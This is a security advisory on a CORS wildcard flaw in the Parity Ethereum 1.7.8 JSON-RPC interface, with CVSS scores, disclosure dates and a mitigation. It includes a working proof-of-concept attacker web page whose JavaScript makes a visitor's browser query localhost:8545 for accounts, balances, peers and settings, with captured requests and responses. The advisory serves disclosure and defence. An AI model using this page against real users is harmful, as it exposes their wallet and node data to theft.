5.1 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:H/Au:N/C:P/I:P/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
0.003 Low
EPSS
Percentile
70.3%
An exploitable overly permissive cross-domain (CORS) whitelist vulnerability exists in JSON-RPC of Parity Ethereum client version 1.7.8. An automatically sent JSON object to JSON-RPC endpoint can trigger this vulnerability. A victim needs to visit malicious website to trigger this vulnerability.
Parity 1.7.8
7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-942: Overly Permissive Cross-domain Whitelist
Parity is a Rust ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of Parity is a JSON-RPC interface. Its turned on by default and exposes significant number of APIs due to an overly permissive cross-domain (CORS) whitelist, which by default is set to β*β. A user running Parity wallet visiting malicious websites is exposed to exploitation of this JSON-RPC daemon misconfiguration which can lead to: sensitive data leak of existing accounts, parity settings and network configuration but can also lead to modification of accounts and parity settings if certain APIs have been turned on. Letβs see how the JSON-RPC daemon behaves for XHR request:
icewall@ubuntu: parity
2017-12-08 09:18:18 Starting Parity/v1.9.0-unstable-77ee23b-20171208/x86-linux-gnu/rustc1.22.1
2017-12-08 09:18:18 Keys path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/keys/Foundation
2017-12-08 09:18:18 DB path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/chains/ethereum/db/906a34e69aec8c0d
2017-12-08 09:18:18 Path to dapps /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/dapps
2017-12-08 09:18:18 State DB configuration: fast
2017-12-08 09:18:18 Operating mode: active
2017-12-08 09:18:18 Configured for Foundation using Ethash engine
2017-12-08 09:18:19 Updated conversion rate to Ξ1 = US$456.88 (260566460 wei/gas)
2017-12-08 09:18:24 Public node URL: enode://d620920c7ca6566f37f805505752e0f909f3b7dce7f7e9de0d63c955800abc4235059e5d04e435abc652ff01a9590693a63bd1150237a99b30e
[email protected]:30303
2017-12-08 09:18:49 0/25 peers 7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync RPC: 0 conn, 0 req/s, 220 Β΅s
2017-12-08 09:19:19 0/25 peers 7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync RPC: 0 conn, 0 req/s, 220 Β΅s
2017-12-08 09:19:49 0/25 peers 7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync RPC: 0 conn, 0 req/s, 220 Β΅s
Next we visit a website at address: 192.168.217.155 which serves a page with a simple script:
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax( {
type: "POST",
url : "http://localhost:8545",
data : '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}',
success : function (data ) {console.log(data)},
contentType:"application/json; charset=utf-8",
dataType : "json"
} )
});
});
</script>
Successfully execution of the XHR should leak us information about existing accounts related with this node. Letβs check how an automatically executed request by the browser would look like:
CORS preflight
REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://192.168.217.155
Connection: keep-alive
RESPONSE
Content-Type: application/json
Allow: OPTIONS, POST
Accept: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT
The server allows that kind of request from our orgin βAccess-Control-Allow-Origin: http://192.168.217.155β. So next the browser sends the final request:
REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.155/
Content-Type: application/json; charset=utf-8
Content-Length: 60
Origin: http://192.168.217.155
Connection: keep-alive
{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}
RESPONSE
Content-Type: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT
{"jsonrpc":"2.0","result":["0xf05d73d8a49eeb85d32c3465507dd71d50120037"],"id":1}
As you can see, we managed to steal information about existing accounts.
HOST: Attacker
cat /var/www/html/index.html
<html>
<head></head>
<body>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script>
String.prototype.format = function() {
var formatted = this;
for(arg in arguments) {
formatted = formatted.replace("{" + arg + "}", arguments[arg]);
}
return formatted;
};
var accounts = new Array();
function getBalance(data)
{
data["result"].forEach(function(account){
callRPC("eth_getBalance","\"{0}\",\"latest\"".format(account),"Account balance is (wei)")
});
}
function callRPC(methodName,params,message)
{
$.ajax( {
type: "POST",
url : "http://localhost:8545",
data : '{"jsonrpc":"2.0","method":"{0}","params":[{1}],"id":1}'.format(methodName,params),
success : function (data ) {
$("#stolenInfo").append( "</br> " + "{0} : {1}".format(message,JSON.stringify(data).substring(0,300)) )
if(methodName == "eth_accounts")
{
getBalance(data)
}
},
contentType:"application/json; charset=utf-8",
dataType : "json"
} )
}
$(document).ready(function(){
callRPC("eth_accounts","","I see your accounts are");
callRPC("parity_netPeers","","Connected to the following peers");
callRPC("parity_rpcSettings","","RPC settings");
callRPC("parity_versionInfo","","Parity release info");
});
</script>
<div>
Look what I know about you :
</div>
</body>
</html>
Host: Parity user
Run parity and visit attacker website.
As a result you should be able to observe, leaked information about:
- existing accounts on this parity node with their balance
- list of connected peers with that node
- rpc settings
- parity version info
Turn off/block possibility for CORS request to JSON-RPC interface.
2017-12-22 - Vendor Disclosure
2018-01-02 - Public Release
5.1 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:H/Au:N/C:P/I:P/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
0.003 Low
EPSS
Percentile
70.3%